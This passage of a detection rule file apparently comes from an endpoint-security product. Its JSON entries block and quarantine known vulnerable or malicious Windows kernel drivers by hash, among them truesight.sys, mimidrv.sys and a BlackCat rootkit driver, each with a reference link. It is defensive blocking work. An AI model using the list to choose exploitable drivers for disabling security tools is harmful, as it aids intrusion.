+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78d1dfb77ee3705dfb820e03e6b035dbc67a85ffbffc889d92b3b8e9f9d123a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8ed23f2-7b84-5214-b2c8-fc17aef4df81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453636Z",
+  "creation_date": "2026-03-23T11:45:30.453639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453648Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75822137b0934c2146c789d9f6e52da4de4a191698b68819d6d4b0845bbc34ed",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8ee87ab-94f6-530c-b942-1eecde0a0529",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492091Z",
+  "creation_date": "2026-03-23T11:45:31.492093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492098Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ec4994e72d5712ef2fb4b9c5e1807393f9e9e98e38e479c6f5f66317c6bbc1e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8eef2d4-d016-5a57-81b9-9e670787bfac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149671Z",
+  "creation_date": "2026-03-23T11:45:31.149674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1502ec276f542cf65e2d6b5159a04ee611ed06c96a0a51a7ab29985cc5634386",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8fc1717-973f-50a1-94e9-8a87f6d289bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985575Z",
+  "creation_date": "2026-03-23T11:45:29.985577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "994e3f5dd082f5d82f9cc84108a60d359910ba79",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka fgme.sys, ktes.sys, kt2.sys and ktgn.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [file SHA1]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8fc473c-4101-5c79-a7ec-6ef2721cea10",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486199Z",
+  "creation_date": "2026-03-23T11:45:31.486202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4e0129f40aeefed92e8353c3c2b73593fd9a4673f8480bcc89cdc28a17325d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e8ff58fa-f950-5e7f-9baa-b52627149639",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820325Z",
+  "creation_date": "2026-03-23T11:45:31.820328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820337Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "776a6b62062565f3aaf361c57067ef6b043f7e65a92003ab3e02114f449a17cd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e903fbe4-f3ef-509b-8f2e-1884347e01e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493930Z",
+  "creation_date": "2026-03-23T11:45:31.493933Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493942Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1ef67421bfa412aa90db0efee2176313bc40cf86ae31875387a47e57a46e561",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e90c2447-e7f4-5a81-834c-72ebc28b9553",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622314Z",
+  "creation_date": "2026-03-23T11:45:29.622316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622322Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bda99629ec6c522c3efcbcc9ca33688d31903146f05b37d0d3b43db81bfb3961",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e910c018-baaa-5440-b8d9-a72d94db6b9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981165Z",
+  "creation_date": "2026-03-23T11:45:29.981168Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981173Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "773999db2f07c50aad70e50c1983fa95804369d25a5b4f10bd610f864c27f2fc",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9136986-a042-5a7b-be5e-65abd504c2c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479183Z",
+  "creation_date": "2026-03-23T11:45:30.479185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d4ca5760b6ad2e4152080e115f040f9d42608d2c7d7f074a579f911d06c8cf8",
+  "comment": "Vulnerable Kernel Driver (aka NCHGBIOS2x64.SYS) [https://www.loldrivers.io/drivers/d2806397-9ceb-47c8-b5f3-3aabec182ff5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e937acc5-7c16-52de-92c8-a5c235bafba9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809183Z",
+  "creation_date": "2026-03-23T11:45:31.809186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "853a8e09134f2f6bba979fd2c58da7f6891400a1d3466587e5da911f66f9d4a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e93854a4-a16a-5320-ae16-f3f839e57d62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140654Z",
+  "creation_date": "2026-03-23T11:45:31.140656Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140661Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5e0b93a56a54ab0d3a0280792e41e7bc4cbaad8c83296ea36a225257a9083f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e940579f-7060-5d30-b1e5-134a55e4926c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141255Z",
+  "creation_date": "2026-03-23T11:45:31.141257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bce1a5ad428f546c4ed60218c736d488dce97db171a9789c7bb100158adbb823",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e94c01aa-256f-552c-8837-c884ad19928d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978014Z",
+  "creation_date": "2026-03-23T11:45:29.978016Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978022Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cb1dc26159c6700d6cadece63f6defda642ec1a6d324daefb0965b4e3746f70",
+  "comment": "Vulnerable Kernel Driver (aka bw.sys) [https://www.loldrivers.io/drivers/578d4909-c2ba-4363-b6e3-98fb62d5e55c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e94e621a-2c5a-55e7-b82b-d1a34c5a1683",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142902Z",
+  "creation_date": "2026-03-23T11:45:32.142904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "490cfbb540dcd70b7bff4fdd62e7ed7400bbfebaf5083523d49f7184670f7b9a",
+  "comment": "Vulnerable Filseclab Driver (aka fildds.sys, filnk.sys and filwfp.sys) [https://twitter.com/SophosXOps/status/1764933865574207677] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9527af1-2057-5c66-9769-4efe67a412d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464709Z",
+  "creation_date": "2026-03-23T11:45:30.464712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "822982c568b6f44b610f8dc4ab5d94795c33ae08a6a608050941264975c1ecdb",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e954db85-c341-5ee6-a1ae-8e884aeb7cd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820190Z",
+  "creation_date": "2026-03-23T11:45:31.820193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b55a7edd07072c5c1113b5ca0cd7183ee46f764b8adf9e21cc59a2f22c3c4d8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9569b8d-9423-57db-8da2-b6e9ca02ab66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145360Z",
+  "creation_date": "2026-03-23T11:45:31.145362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57ceafd2895c255019669df566a5e666cc5e285abba0647978b980b1cb858205",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e95819aa-cb4d-5ebc-a7c4-48ed32ed7293",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980699Z",
+  "creation_date": "2026-03-23T11:45:29.980701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d10c4b2f56364b475b60bd2933273c8b1ed2176353e59e65f968c61e93b7d99",
+  "comment": "Vulnerable Kernel Driver (aka CtiIo64.sys) [https://www.loldrivers.io/drivers/de365e80-45cb-48fb-af6e-0a96a5ad7777/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e95e494e-ab8d-5f6e-ada8-329d1dfd4487",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140726Z",
+  "creation_date": "2026-03-23T11:45:31.140728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140734Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddef89f6c8b7ed80a517685245b7c4f534703a95f2d69495c7a92a88647ca68c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e95ec03d-a73a-59db-a592-219e57b788b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488257Z",
+  "creation_date": "2026-03-23T11:45:31.488259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c649a4fa9d7e58308b37764114361d3825bd40671dc8bb7db5d5fb35895d9946",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e9650d45-14da-5ba1-92f1-6d87278c3355",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972508Z",
+  "creation_date": "2026-03-23T11:45:29.972510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
